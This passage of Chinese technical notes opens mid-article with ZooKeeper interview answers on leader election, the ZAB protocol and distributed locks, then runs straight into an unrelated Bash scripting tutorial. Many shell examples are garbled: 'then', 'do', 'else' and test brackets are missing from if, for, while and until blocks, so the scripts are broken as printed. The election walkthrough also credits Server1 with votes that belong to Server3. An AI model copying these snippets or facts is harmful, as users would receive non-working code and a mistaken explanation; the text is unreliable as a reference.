Master/Slave 概念,而是引入了 Leader、Follower 和 Observer 三种角色,如下图所示:ZooKeeper 集群中的所有机器通过一个 Leader 选举过程来选定一台称为 “Leader” 的机器,Leader 既可以为客户端提供写服务又能提供读服务。除了 Leader 外,Follower 和 Observer 都只能提供读服务。Follower 和 Observer 唯一的区别在于 Observer 机器不参与 Leader 的选举过程,也不参与写操作的“过半写成功”策略,因此 Observer 机器可以在不影响写性能的情况下提升集群的读性能。角色说明Leader为客户端提供读和写的服务,负责投票的发起和决议,更新系统状态Follower为客户端提供读服务,如果是写服务则转发给 Leader,参与选举过程中的投票Observer为客户端提供读服务,如果是写服务则转发给 Leader,不参与选举过程中的投票,也不参与“过半写成功”策略。在不影响写性能的情况下提升集群的读性能,此角色于 ZooKeeper 3.3 系列新增的角色🚁Zookeeper 集群中 leader 的选举机制?Zookeeper 集群中 leader 的选举发生在两个阶段,分别为服务器启动时选举和服务器运行期间选举。SID:服务器 ID,用来唯一标识一台 ZooKeeper 集群中的机器,每台机器不能重复,和 myid 一致。ZXID:事务 ID,ZXID 是一个事务 ID,用来标识一次服务器状态的变更。在某一时刻,集群中的每台机器的 ZXID 值不一定完全一致,这和 ZooKeeper 服务器对于客户端“更新请求”的处理逻辑有关。Epoch:每个 Leader 任期的代号。没有 Leader 时同一轮投票过程中的逻辑时钟值是相同的,每投完一次票这个数据就会增加。服务器启动时的选举:首先,Server1 启动,发起一次选举。Server1 投自己一票,此时 Server1 票数一票,不够半数以上(3票),选举无法完成,Server1 状态保持为 LOOKING.其次,Server2 启动,再发起一次选举。Server1 和 Server2 分别投自己一票并交换选票信息:此时 Server1 发现 Server2 的 myid 比自己目前投票推举的(Server1) 大,更改选票为推举 Server2. 此时 Server1 票数 0 票,Server2 票数 2 票,没有半数以上结果,选举无法完成,Server1 ,Server2 状态保持 LOOKING.之后,Server3 启动,发起一次选举。此时 Server1 和 Server2 都会更改选票为 Server3. 此次投票结果:Server1 为 0 票,Server2 为 0 票,Server1 为 3 票,此时 Server3 的票数已经超过半数,Server3 当选 Leader. Server1,Server2 更改状态为 FOLLOWING,Server3 更改状态为 LEADING.然后,Server4 启动,发起一次选举。此时 Server1,Server2,Server3 已经不是LOOKING 状态,不会更改选票信息。交换选票信息结果:Server3 为 3 票,Server4 为 1 票。此时 Server4 服从多数,更改选票信息为 Server3,并更改状态为 FOLLOWING.最后,Server5 启动,状态为 FOLLOWING.在 ZooKeeper 集群正常运行过程中,一旦选出一个 leader,那么所有服务器的集群角色一般不会再发生变化,当 leader 节点的服务器宕机之后,就需要重新选举新的服务器作为 leader 节点,服务器运行期间的选举过程如下:假设 ZooKeeper 由 5 台服务器组成,SID 分别为 1、2、3、4、5,ZXID 分别为 8、8、8、7、7,并且此时 SID 为 3 的服务器是 leader,某一时刻,3 和 5 服务器出现故障,因此开始进行 leader 选举。首先,就是变更节点的状态。当 leader 挂了之后,余下的非 observer 服务器都会将自己的服务器状态变更为 LOOKING,然后再进入 Leader 选举流程。之后,开始进行投票。SID 为1、2、4 的机器投票情况 (EPOCH, ZXID, SID) 为 (1,8,1),(1,8,2),(1,7,4)最后,根据选举 leader 规则: ①EPOCH 大的直接胜出 ②EPOCH 相同,事务 id 大的胜出 ③事务 id 相同,服务器 id 大的胜出。🚁ZooKeeper 集群中 Server 有哪些工作状态?服务器具有四种工作状态:LOOKING:寻找 Leader 状态,当服务器处于该状态时,它会认为当前集群中没有 Leader,因此需要进入 Leader 选举状态。FOLLOWING:跟随者状态,表明当前服务器角色是 Follower。LEADING:领导者状态,表明当前服务器角色是 Leader。OBSERVING:观察者状态,表明当前服务器角色是 Observer。🚁ZooKeeper 集群为啥最好奇数台(2n-1,n>=2)?ZooKeeper 集群在宕掉几个 ZooKeeper 服务器之后,如果剩下的 ZooKeeper 服务器个数大于宕掉的个数的话整个 ZooKeeper 才依然可用。假如集群中有 n 台 ZooKeeper 服务器,那么也就是剩下的服务数必须大于 n/2.2n 和 2n-1 的容忍度是一样的。 假如有 3 台服务器,那么最大允许宕掉 1 台 ZooKeeper 服务器,当有 4 台服务器的的时候也同样只允许宕掉 1 台。 假如有 5 台,那么最大允许宕掉 2 台 ZooKeeper 服务器,如果有 6 台的的时候也同样只允许宕掉 2 台。因此,没有必要再增加 1 台服务器。🚁ZooKeeper 怎么保证主从节点的状态同步?Zookeeper 的核心是原子广播机制,这个机制保证了各个服务器之间的同步。实现这个机制的协议叫做 Zab 协议。Zab 协议有两种模式,它们分别是恢复模式和广播模式:恢复模式:当服务启动或者在领导者崩溃后,Zab 就进入了恢复模式,当领导者被选举出来,且大多数 server 完成了和 leader 的状态同步以后,恢复模式就结束了。状态同步保证了 leader 和 server 具有相同的系统状态广播模式:一旦 leader 已经和多数的 follower 进行了状态同步后,它就可以开始广播消息了,即进入广播状态。这时候当一个 server 加入 ZooKeeper 服务中,它会在恢复模式下启动,发现 leader,并和 leader 进行状态同步。待到同步结束,它也参与消息广播。ZooKeeper 服务一直维持在 Broadcast 状态,直到 leader 崩溃了或者 leader 失去了大部分的 followers 支持。🚁ZooKeeper 是如何保证事务的顺序一致性的呢?zookeeper 采用了全局递增的事务 id 来标识,所有的 proposal(提议) 都在被提出的时候加上了 zxidzxid 实际上是一个 64 位的数字,高 32 位是 epoch 用来标识 leader 周期,如果有新的 leader 产生出来,epoch 会自增,低 32 位用来递增计数当新产生 proposal 的时候,会依据数据库的两阶段过程,首先会向其他的 server 发出事务执行请求,如果超过半数的机器都能执行并且能够成功,那么就会开始执行🚁ZooKeeper 集群中各服务器之间是怎样通信的?leader 服务器会和每一个 follower/observer 服务器都建立 TCP 连接,同时为每个 follower/observer 都创建一个叫做 LearnerHandler 的实体。LearnerHandler 主要负责 leader 和 follower/observer 之间的网络通讯,包括数据同步,请求转发和 Proposal 提议的投票等,leader 服务器保存了所有 follower/observer 的 LearnerHandler.🚁ZooKeeper 分布式锁怎么实现的?创建一个临时顺序节点,称为 mylock线程 A 想获取锁就在 mylock 节点下创建临时顺序节点。获取 mylock 节点下所有的子节点,然后获取比自己小的兄弟节点,如果不存在,则说明当前线程顺序号最小,获得锁线程 B 获取所有节点,判断自己不是最小节点,设置监听比自己次小的节点线程 A 处理完,删除自己的节点,线程 B 监听到变更事件,判断自己是不是最小的节点,如果是则获得锁🚁谈谈 ZAB 协议ZAB(ZooKeeper Atomic Broadcast 原子广播) 协议是为分布式协调服务 ZooKeeper 专门设计的一种支持崩溃恢复的原子广播协议。 在 ZooKeeper 中,主要依赖 ZAB 协议来实现分布式数据一致性,基于该协议,ZooKeeper 实现了一种主备模式的系统架构来保持集群中各个副本之间的数据一致性。ZAB 协议的两种基本模式:崩溃恢复 :当整个服务框架在启动过程中,或是当 Leader 服务器出现网络中断、崩溃退出与重启等异常情况时,ZAB 协议就会进入恢复模式并选举产生新的 Leader 服务器。当选举产生了新的 Leader 服务器,同时集群中已经有过半的机器与该 Leader 服务器完成了状态同步之后,ZAB 协议就会退出恢复模式。其中,所谓的状态同步是指数据同步,用来保证集群中存在过半的机器能够和 Leader 服务器的数据状态保持一致。消息广播 :当集群中已经有过半的 Follower 服务器完成了和 Leader 服务器的状态同步,那么整个服务框架就可以进入消息广播模式了。 当一台同样遵守 ZAB 协议的服务器启动后加入到集群中时,如果此时集群中已经存在一个 Leader 服务器在负责进行消息广播,那么新加入的服务器就会自觉地进入数据恢复模式:找到 Leader 所在的服务器,并与其进行数据同步,然后一起参与到消息广播流程中去。
Linux脚本(shell)详解
概述脚本:本质是一个文件,文件里面存放的是特定格式的指令,系统可以使用脚本解析器翻译或解析指令并执行(它不需要编译)shell 既是一个用 C 语言编写的应用程序,又是一种脚本语言(应用程序 解析 脚本语言)Shell 提供了一个界面,用户通过这个界面访问操作系统内核的服务。Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。Shell 编程跟 JavaScript、php 编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。Linux 的 Shell 命令解析器种类众多,常见的有:Bourne Shell(/usr/bin/sh或/bin/sh)Bourne Again Shell(/bin/bash)(大多数Linux 系统默认的 Shell)C Shell(/usr/bin/csh)K Shell(/usr/bin/ksh)Shell for Root(/sbin/sh)本文档关注的是 Bash,也就是 Bourne Again Shell,由于易用和免费,Bash 在日常工作中被广泛使用。同时,Bash 也是大多数Linux 系统默认的 Shell。查看自己linux系统的默认解析器命令:echo $SHELL在一般情况下,人们并不区分 Bourne Shell 和 Bourne Again Shell,所以,像 #!/bin/sh,它同样也可以改为 #!/bin/bash。语法详解编写 shell 脚本文件的时候,最前面要加上一行:#!/bin/bash,因为linux里面不仅仅只有bash一个解析器,还有其它的,它们之间的语法会有一些不同,所以最好加上这一句话,告诉系统要用这个解析器。#! 是一个约定的标记,告诉系统其后路径所指定的程序即是解释此脚本文件的 Shell 程序。注意:shell脚本中将多条命令换行时,命令是从上向下执行,写在上面的命令即使执行错误,下面的命令也会继续执行。shell脚本中将多条命令写在同一行时,使用分号( ; )分隔,写在前面的命令即使执行失败,写在后面的命令也会继续执行。数学运算表达式(( ))是 Shell 数学计算命令,和 C++、C#、Java 等编程语言不同,在 Shell 中进行数据计算不那么方便,必须使用专门的数学计算命令,(( ))就是其中之一。+ # 加 - # 减 * # 乘 / # 除 % # 取余 ** # 幂Shell变量变量分类根据用途可以分为四种变量(变量的划分,每本书都不相同):环境变量:一组为系统内核、系统命令和应用程序提供运行环境而设定的变量的统称内部变量:特定为shell设定的一组变量的统称参数变量:传参的数据。位置参数是传给函数,语句块等等的数据,可以通过$1 $2… $N 以及配合shell内部变量(如$? $@等)进行引用用户自定义变量:用户自己设置的变量。又可分为:局部变量和全局变量局部变量:只在代码块或函数有效,出了代码块或函数,就消失的变量;在代码块或函数中声明的局部变量,必须通过 local 声明,否则它也是对当前shell进程都可见的。全局变量:在脚本中定义,仅在当前Shell脚本中有效,其他Shell脚本进程不能访问,其作用域从定义的位置开始,到脚本结束或被显示删除的地方为止。全局变量可以升级成为临时环境变量;通过export进行声明,使当前进程的子进程也能使用这一变量。临时环境变量只对该运行环境有效,如果执行另外一个shell脚本,这个临时环境变量无能为力环境变量和内部变量的区别和使用(详细:http://blog.sina.com.cn/s/blog_655047c00100hiao.html):相同:均为shell一启动就加载都是配合 $ 引用,并且在脚本中都是一开始就有的,不需要用户再设定不同:环境变量可以添加、修改,用户可以重新定义(详细:https://blog.csdn.net/LLZK_/article/details/53813266)shell内部变量是固定不变的。环境变量环境变量是在操作系统中一个具有特定名字的对象,它包含了一个或多个应用程序将使用到的信息。Linux是一个多用户的操作系统,每个用户登录系统时都会有一个专用的运行环境,通常情况下每个用户的默认的环境都是相同的。这个默认环境就是一组环境变量的定义。每个用户都可以通过修改环境变量的方式对自己的运行环境进行配置。环境变量是和shell紧密相关的,用户登录系统后就启动了一个shell,对于Linux来说一般是bash(Bourne Again shell,Bourne shell(sh)的扩展),也可以切换到其他版本的shell。bash有两个基本的系统级配置文件:/etc/bashrc和/etc/profile。这些配置文件包含了两组不同的变量:shell变量和环境变量。shell变量是局部的,而环境变量是全局的。环境变量是通过shell命令来设置。设置好的环境变量又可以被所以当前用户的程序使用。环境变量的分类根据环境变量的生命周期可以将其分为 永久性环境变量 和 临时性变量根据用户等级的不同又可以将其分为 系统级变量 和 用户级变量对所有用户生效的永久性变量(系统级):这类变量对系统内的所有用户都生效,所有用户都可以使用这类变量。作用范围是整个系统。# 设置方式: # 使用 vi 命令打开 /etc/profile 文件,用export指令添加环境变量 # 步骤示例: # 1.打开配置文件,并按 i ,进入编辑模式 vi /etc/profile # 2.在配置文件末尾添加环境变量 export 环境变量名(一般大写)="值" # 3.使配置文件立即生效 source /etc/profile # 注意: # 1. /etc/profile 只有root(超级用户)才能修改。可以在etc目录下使用 ls -l 查看这个文件的用户及权限 # 2. 添加新的环境变量并退出配置文件后,需要执行命令 source /etc/profile 后才会立即生效。否则在下次重进此用户时才能生效对单一用户生效的永久性变量(用户级)该类环境变量只对当前的用户永久生效。也就是说假如用户A设置了此类环境变量,这个环境变量只有A可以使用。而对于其他的B,C,D,E….用户等等,这个变量是不存在的。# 设置方法:在用户主目录”~”下的隐藏文件 “.bashrc”中添加自己想要的环境变量 # 步骤示例: # 1.打开配置文件,并按 i ,进入编辑模式 vi ~/.bashrc # 2.在配置文件末尾添加环境变量 export 环境变量名(一般大写)="值" # 3.使配置文件立即生效 source ~/.bashrc # 注意: # 系统中可能存在两个文件,.bashrc和.bash_profile(有些系统中只有其中一个) # 原则上来说设置此类环境变量时在这两个文件任意一个里面添加都是可以的。二者设置大致相同 # ~/.bash_profile 是交互式login方式进入bash shell运行。即 .bash_profile 只会在用户登录的时候读取一次 # ~/.bashrc 是交互式non-login方式进入bash shell运行。即 .bashrc 在每次打开终端进行一次新的会话时都会读取 # 查看隐藏文件(.XXX): # 方式1:命令 ls -al # 方式2:命令 echo .*临时有效的环境变量(只对当前shell有效)临时环境变量作用域是当前shell脚本以及当前进程的子进程shell。退出当前shell脚本就消失了# 设置方法:直接使用export指令添加。 环境变量的常用指令# 查看显示环境变量:echo,变量使用时要加上符号“$” echo $PATH # 设置新的临时环境变量 export export 新临时环境变量名=内容 export MYNAME=”LLZZ” # 修改环境变量没有指令,可以直接使用环境变量名进行修改。 MYNAME=”ZZLL” # 查看所有环境变量 # 查看本地定义的所有shell变量 # 删除一个环境变量 unset 变量名 unset MYNAME常用的环境变量(都为大写)PATH:查看命令的搜索路径。通过设置环境变量PATH可以让我们运行程序或指令更加方便。# 查看环境变量PATH echo $PATH # 说明: # 每一个冒号都是一个路径,这些搜索路径都是一些可以找到可执行程序的目录列表。 # 当输入一个指令时,shell会先检查命令是否是内部命令,不是的话会再检查这个命令是否是一个应用程序。 # 然后shell会试着从搜索路径,即PATH中寻找这些应用程序。 # 如果shell在这些路径目录里没有找到可执行文件。则会报错。 # 若找到,shell内部命令或应用程序将被分解为系统调用并传给Linux内核。 # 示例: # 现在有一个c程序test.c通过gcc编译生成的可执行文件a.out(功能:输出helloworld)。平常执行这个a.out的时候是使用 # 方式1:相对路径调用:./a.out (”.”代表当前目录,”/”分隔符) # 方式2:绝对路径调用:/home/lzk/test/a.out # 方式3:通过设置PATH环境变量,直接用文件名调用: a.out (只要可以通过PATH中路径找得到这个可执行文件) # 使用export指令添加PATH中的路径 # 示例:将a.out的路径添加到搜索路径当中 export PATH=$PATH:路径 # PATH中路径是通过冒号“:”进行分隔的,把新的路径加在最后就OKHOME:指定用户的主工作目录,即为用户登录到Linux系统中时的默认目录,即“~”HISTSIZE:保存历史命令记录的条数。用户输入的指令都会被系统保存下来,这个环境变量记录的就是保持指令的条数。一般为1000这些历史指令都被保存在用户工作主目录 “~” 下的隐藏文件 .bash_profile 中 可以通过指令 history 来查看LOGNAME:指当前用户的登录名HOSTNAME:指主机的名称SHELL:指当前用户用的是哪种shellLANG/LANGUGE:和语言相关的环境变量,使用多种语言的用户可以修改此环境变量MAIL:指当前用户的邮件存放目录PS1:第一级Shell命令提示符,root用户是#,普通用户是$PS2:第二级Shell命令提示符,默认是“>”PS3:第三级Shell命令提示符。主要用于select循环控制结构的菜单选择提示符TMOUT:用户和系统交互过程的超时值系统与用户进行交互时,系统提示让用户进行输入,但用户迟迟没有输入,时间超过TMOUT设定的值后,shell将会因超时而终止执行。Shell内部变量位置变量(参数变量)当执行一个Shell脚本的时候,如果希望命令行的到传递的参数信息,就要使用位置变量进行如:./myshell.sh 100 200 可以理解为shell脚本的传参方法# 预定义变量 # 功能描述 $n # n为数字 # $0表示命令本身(执行脚本的命令) # $1-9代表第一个参数到第九个参数 # 10以上的参数需要使用大括号进行包裹如:${10} $* # 传递给函数或脚本的所有参数 $@ # 传递给函数或脚本的所有参数 $# # 代表参数的个数 # $* 和 $@ 都表示传递给函数或脚本的所有参数,不被双引号(" ")包含时,都以"$1" "$2" … "$n" 的形式输出所有参数。 # 但是当它们被双引号(" ")包含时, # "$*" 会将所有的参数作为一个整体,以"$1 $2 … $n"的形式输出所有参数; # "$@" 会将各个参数分开,以"$1" "$2" … "$n" 的形式输出所有参数预定义变量预定义变量:shell 设计者事先已经定义好的变量,可以直接在 shell 脚本中使用# 预定义变量 # 功能描述 $? # 命令执行后返回的状态 $$ # 当前进程的进程号(PID) $! # 最近运行的一个后台进程的进程号(PID) $? # 最后一次执行的命令的返回状态 # 若返回 0 :则上一个命令正确执行;若返回 非0(具体数值由命令自己决定),则上一个命令未正常执行 $LINENO # 调测用。用于显示脚本中当前执行的命令的行号 $OLDPWD # 配合cd命令改换到新目录之前所在的工作目录 # 用法:cd $OLDPWD (切换到之前的工作目录,和cd - 功能一样) $PPID # 当前进程的父进程的PID $PWD # 当前工作目录。等同于命令pwd的输出 $RANDOM # 随机数变量。每次引用这个变量会得到一个0~32767的随机数 $REPLY # 通过read命令读入的数据,如果没有被赋值指定变量,则默认赋值到 REPLY 变量中 $SECONDS # 脚本已经运行的时间(以秒为单位)自定义变量:定义、赋值变量是任何一种编程语言都必不可少的组成部分,变量用来存放各种数据。脚本语言在定义变量时通常不需要指明类型,直接赋值就可以,Shell 变量也遵循这个规则。在 Bash shell 中,每一个变量的值都是字符串,无论变量赋值时有没有使用引号,值都会以字符串的形式存储。shell变量和一些编程语言不同,一般shell的变量赋值的时候不用带“$”,而使用或者输出的时候要带“$”。加减乘除的时候要加两层小括号。括号外面要有一个“$”,括号里面的变量可以不用“$”。定义变量Shell 支持以下三种定义变量的方式:variable=value variable='value' variable="value"说明:variable 是变量名,value 是赋给变量的值如果 value 不包含任何空白符(例如空格、Tab 缩进等),那么可以不使用引号如果 value 包含了空白符,那么就必须使用单、双引号包围起来分析:读完命令之后,会对字符串或关键字按照空格切割,切割之后,分为了两个部分:c=he和llo,c=he被理解为一个变量赋值,而llo却找不到匹配的项,并且检索不到相关的命令,所以就会输出这个llo的报错。shell脚本中的变量类型只有整型和字符串注意:赋值号=的周围不能有空格,否则会被解析成命令,报错无此命令。这可能和常见的大部分编程语言都不一样。Shell 变量的命名规范:变量名由数字、字母、下划线组成;必须以字母或者下划线开头;不能使用 Shell 里的关键字(通过 help 命令可以查看保留关键字)。单引号和双引号赋值的区别:定义变量时,变量的值时使用单引号' '包围和双引号" "包围的区别:以单引号' '包围变量的值时,单引号里面是什么就输出什么,即使内容中有变量和命令(命令需要反引起来)也会把它们原样输出。这种方式比较适合定义显示纯字符串的情况,即不希望解析变量、命令等的场景。以双引号" "包围变量的值时,输出时会先解析里面的变量和命令,而不是把双引号中的变量名和命令原样输出。这种方式比较适合字符串中附带有变量和命令并且想将其解析后再输出的变量定义。建议:如果变量的内容是数字,可以不加引号如果需要原样输出就加单引号其他没有特别要求的字符串等最好都加上双引号。定义变量时加双引号是最常见的使用场景示例:#!/bin/bash c="this is a test" d=$((a+b)) f=test # 变量赋值的时候如果只有一个单词可以不用加引号 time=`date` # date 命令用来获得当前的系统时间 date=`date +%s` # data 命令的 %s 格式控制符可以得到当前的 UNIX 时间戳,可以用于计算脚本的运行时间 # UNIX 时间戳是指从 1970 年 1 月 1 日 00:00:00 到目前为止的秒数 echo $c echo "a = "$a # 输出a的 echo "a+b = "$((a+b)) # 输出a+b的值 echo $((a+b*a-b/a+a%b+a**2)) #表达式可以很长变量的赋值# 方式1:“=”并初始化 var=value # 注意:如果value是带有空格的字符串,需要加单或双引号 # 方式2:“=”不初始化 var= # 未赋值变量,值为null # 方式3:read命令 # read命令是读取标准输入的数据,然后存储到指定的变量中。注意:read接收的是标准输入而不是参数,read命令是不接收参数的。自定义变量:引用、修改、删除变量的引用# 方式1 $variable # 方式2(变量名外面的花括号 { }是可选的,加不加都行,加花括号是为了帮助解释器识别变量的边界)。推荐 ${variable} # 方式3 “$variable”或“${variable}” # 注:引用变量后,双引号会对于引用结果中空格和一些特殊符号进行的解析或者不解析。而引用结果用的空格在命令中的分隔作用会完全改变一个命令的输出,而特殊符号的是否解析也会影响最终的输出结果。skill="Java" echo "I am good at ${skill}Script" # 如果不给 skill 变量加花括号,写成`echo "I am good at $skillScript"`,解释器就会把 $skillScript 当成一个变量(其值为空),代码执行结果就不是我们期望的样子了。修改变量的值已定义的变量,可以被重新赋值,如:url="http://c.biancheng.net" echo ${url} # 第二次对变量赋值时不能在变量名前加 $,只有在使用变量时才能加 $ url="http://c.biancheng.net/shell/" echo ${url}删除变量使用 unset 命令可以删除变量。语法:unset variable_name注意:变量被删除后不能再次使用unset 命令不能删除只读变量示例:#!/bin/sh myUrl="http://c.biancheng.net/shell/" unset myUrl echo $myUrl # 会没有任何输出自定义变量:设置只读使用 readonly 命令可以将变量定义为只读变量,只读变量的值不能被改变。下面的例子尝试更改只读变量,结果报错:#!/bin/bash myUrl="http://c.biancheng.net/shell/" readonly myUrl myUrl="http://c.biancheng.net/" # 会报错自定义变量:数组数组类型变量可以通过循环语句来遍历。定义方式:# 方式1: arr=(str1 str2 str3) # 方式2: arr=("str1" "str2" "str3") # 方式3: arr=('str1' 'str2' 'str3')打印数组长度echo ${#arr[@]}字符串转化为数组# 方式1: str="str1 str2 str3" arr=($str) echo "my arr: ${arr[@]}" # 方式2: str="str1 str2 str3" read -a arr <<< $str echo "my arr: ${arr[@]}" echo "my arr: ${arr[0]}" echo "my arr: ${arr[1]}" # 方式3: str="str1,str2,str3" IFS="," read -a arr <<< $str echo "my arr: ${arr[@]}"Shell命令替换:将命令的结果赋值变量Shell 也支持将命令的执行结果赋值给变量,常见的有以下两种方式:# 两种方式可以完成命令替换,一种是$(),一种是反引号` ` variable=$(commands) variable=`commands` # 说明: # 1.variable 是变量名,commands 是要执行的命令 # 2.commands 可以只有一个命令,也可以有多个命令,多个命令之间以分号;分隔注意:如果被替换的命令的输出内容包括多行(也即有换行符),或者含有多个连续的空白符,那么在输出变量时应该将变量用双引号包围,否则系统会使用默认的空白符来填充,这会导致换行无效,以及连续的空白符被压缩成一个,出现格式混乱的情况。两种变量替换的形式是等价的,可以随意使用反引号和单引号非常相似,容易产生混淆,所以不推荐使用这种方式;使用 $() 相对清晰,有些情况也必须使用 $(),比如$() 支持嵌套,反引号不行$() 仅在 Bash Shell 中有效,而反引号可在多种 Shell 中使用。Shell变量表达式# 表达式 # 说明 ${#string} # 计算$string的长度 ${string:position} # 从pos位置开始提取字符串 ${string:position:len} # 从pos位置开始提取长度为len的字符串 ${string#substr} # 从开头删除最短匹配子串 ${string##substr} # 从开头删除最长匹配子串 ${string%substr} # 从结尾删除最短匹配子串 ${string%%substr} # 从结尾删除最长匹配子串 # 注意:字符串的长度包括空格,但是没有像C语言中那种'\0'字符示例#!/bin/bash str="a b c d e f g h i j" echo "the source string is "${str} #源字符串 echo "the string length is "${#str} #字符串长度 echo "the 6th to last string is "${str:5} #截取从第五个后面开始到最后的字符 echo "the 6th to 8th string is "${str:5:2} #截取从第五个后面开始的2个字符 echo "after delete shortest string of start is "${str#a*f} #从开头删除a到f的字符 echo "after delete widest string of start is "${str##a*} #从开头删除a以后的字符 echo "after delete shortest string of end is "${str%f*j} #从结尾删除f到j的字符 echo "after delete widest string of end is "${str%%*j} #从结尾删除j前面的所有字符包括jshell测试判断:test 、 [ ] 、[[ ]]Shell中的 test 命令和 [ ] 用于检查某个条件是否成立,它可以进行数值、字符和文件三个方面的测试。[[ ]] 是 bash 程序语言的关键字。并不是一个命令,[[ ]] 结构比 [ ] 结构更加通用。在 [[ 和 ]] 之间所有的字符都不会发生文件名扩展或者单词分割,但是会发生参数扩展和命令替换。支持字符串的模式匹配,使用 =~ 操作符时甚至支持shell的正则表达式。字符串比较时可以把右边的作为一个模式,而不仅仅是一个字符串,比如 [[ hello == hell? ]] ,结果为真。[[ ]] 中匹配字符串或通配符,不需要引号。使用 [[ ]] 条件判断结构,而不是 [ ],能够防止脚本中的许多逻辑错误。比如:&&、||、<、> 操作符能够正常存在于 [[ ]] 条件判断结构中,但是如果出现在 [ ] 结构中的话,会报错。比如可以直接使用 if [[ $a !=1 && $a != 2 ]],如果不使用双括号, 则为 if [ $a -ne 1] && [ $a != 2 ] 或者 if [ $a -ne 1 -a $a != 2 ]。bash 把双中括号中的表达式看作一个单独的元素,并返回一个退出状态码。注意:使用 [ ] 的时候必须要每个变量之间都要有空格,和左右中括号也要有空格,否则报错。数值测试参数说明-eq等于则为真-ne不等于则为真-gt大于则为真-ge大于等于则为真-lt小于则为真-le小于等于则为真字符串测试参数说明=等于则为真!=不相等则为真-z 字符串字符串的长度为零则为真-n 字符串字符串的长度不为零则为真文件测试参数说明-e 文件名如果文件存在则为真-f 文件名如果文件存在且为普通文件则为真-d 文件名如果文件存在且为目录则为真-r 文件名如果文件存在且可读则为真-w 文件名如果文件存在且可写则为真-x 文件名如果文件存在且可执行则为真-s 文件名如果文件存在且至少有一个字符则为真-c 文件名如果文件存在且为字符型特殊文件则为真-b 文件名如果文件存在且为块特殊文件则为真示例#!/bin/bash # 文件测试 echo "Please input two numbers:" read num1 read num2 echo "num1 = "${num1} echo "num2 = "${num2} echo -e "by test\n" test $num1 -eq $num2 && echo "num1 == num2" || echo "num1 != num2" echo -e "by []\n" [ $num1 -eq $num2 ] && echo "num1 == num2" || echo "num1 != num2" # 数值测试 echo "Please input a filename: " # 从标准输入获取一个文件名,并存入filename变量中 read filename echo -e "by test\n" test -f $filename && echo "这是一个普通文件" || echo "这不是一个普通文件" echo -e "by []\n" [ -f $filename ] && echo "这是一个普通文件" || echo "这不是一个普通文件"逻辑操作符:与、或、非Shell 还提供了 与( -a )、或( -o )、非( ! ) 三个逻辑操作符用于将测试条件连接起来,其优先级为: ! 最高, -a 次之, -o 最低。示例:#!/bin/bash # 逻辑操作符和字符串测试 echo "Please input a city name: " # 从标准输入获取一个值,并存入city变量中 read city if "成都" = $city -o "南京" = $city echo '城市是成都或南京' echo '城市既不是成都也不是南京' fishell条件分支结构语句单分支判断语句格式:if 条件 ; then 结果; fi # 最后面一定要有fi,在shell脚本里面,控制分支结构结束都要和开头的单词相反,例如,if <–> fi,case <–> esac示例#!/bin/bash echo "Please input a filename" # read filename:表示从标准输入获取一个文件名,并存入felename变量中 read filename if [ -f $filename ] echo "this file is a ordinary file." fi双分支判断语句格式:if 条件 ; then 结果; else 结果; fi示例#!/bin/bash echo "Please input a filename" read filename if [ -f $filename ] echo "this file is a ordinary file." echo "this file is not a ordinary file." fi多分支判断语句多分支判断有两种(和C语言的一样 ):if-else if 和 case语法:if 条件 ; then 结果; elif 条件; then 结果; else 结果; fiif-else if 示例#!/bin/bash echo "Please input your math grades" read grades if [ $grades -gt 100 ] || [ $grades -lt 0 ];then echo "Please input the number range in 0 - 100" if [ $grades -ge 90 ] && [ $grades -le 100 ] echo "Your grade is excellent." elif [ $grades -ge 80 ] && [ $grades -le 89 ];then echo "Your grade is good." elif [ $grades -ge 70 ] && [ $grades -le 79 ];then echo "Your grade is middle." elif [ $grades -ge 60 ] && [ $grades -le 69 ];then echo "Your grade is passing." echo "Your grade is badly." ficase 示例#!/bin/bash echo "Please input a command" read cmd case $cmd in cpu) echo "The cpu information is" cat /proc/cpuinfo;; mem) echo "The mem information is" cat /proc/meminfo;; device) echo "The device information is" cat /proc/scsi/device_info;; CD-ROM) echo "The CD-ROM information is" cat /proc/sys/dev/cdrom/info;; *) echo "Your input command is invalid" esacshell循环语句for语句格式:for 变量 in 列表 done示例#!/bin/bash arr=("0" "1" "2" "3" "4" "5" "6" "7" "8" "9" "a" "b" "c" "e" "e" "f") # 遍历(不带数组下标。* 和 @ 均可) for value in ${arr[*]} echo $value # 遍历(带数组下标) for (( i = 0 ; i < ${#arr[@]} ; i++ )) echo ${arr[$i]} donewhile语句while语句是只要条件为真就执行下面语句。格式:while 条件 done需要注意的是,这里的条件除了 while true 可以这样写,其它的条件都要用 test或者 []来判断示例# -----------文件名为test.sh----------- #!/bin/bash # $1 为调用脚本时的第1个传参 while [ $i -gt 0 ] echo $i ((i--)) # -----------调用----------- sh test.sh 10 # 文件名test.sh 后面跟的是参数,$0代表文件名,$1代表第一个参数...until语句until语句是只要条件为假就执行下列语句格式:until 条件 done示例#!/bin/bash until [ $i -le 0 ] echo $i ((i--)) doneShell函数格式:[function] funcName() {undefined [return 返回值] }说明:Shell 函数 return的返回值只能是整数,一般用来表示函数执行成功与否,0表示成功,其他值表示失败。如果 return 其他数据,比如一个字符串,报错提示:“numeric argument required”。return 返回值是可选的;如果没有return,则默认返回最后一条语句执行成功与否的状态值传参到函数中使用位置参数;位置参数在函数中的使用:从$1到$n,$0 是文件名函数调用方式:# 方式1:调用函数,然后再使用预定义变量 $? 获取函数返回值 function_name [arg1 arg2 ......] # 方式2:调用函数并将函数的标准输出赋值到一个变量中。注意:不是返回值 value=`function_name [arg1 arg2 ......]` value=$(function_name [arg1 arg2 ......])示例:#!/bin/bash #打印数字 printNum() echo $1 # 位置参数的使用 for i in `seq 2 8` # seq是一个命令,顺序生成一串数字或者字符 printNum $i # 位置参数的传参 done函数输出字符串的方式:使用反引号 ` ` 调用的方式将函数的标准输出赋值到一个变量中,脚本在需要的时候访问这个变量来获得函数的输出值。注意:若函数内进行了多次标准输出,则会将所有的输出值一起赋值到变量中。推荐函数内只进行一次标准输出。#!/bin/bash # 函数输出字符串 getString() echo "abc" return 0 # 函数输出赋值 value=`getString` echo ${value}-xxxxShell脚本的执行方式(以下方式,指定脚本可以使用绝对路径,也可以使用相对路径)路径/xxx.sh:先按照文件中 #! 指定的解析器解析,如果 #! 指定指定的解析器不存在 才会使用系统默认的解析器。注意:这种方式需要被执行文件有可执行权限(x)(chmod +x 文件名:给文件的所有身份都加上执行权限),否则报错该方式,即使脚本就在当前路径,也必须指定:./xxx.shbash xxx.sh:指明先用bash解析器解析,如果bash不存在才会使用默认解析器sh 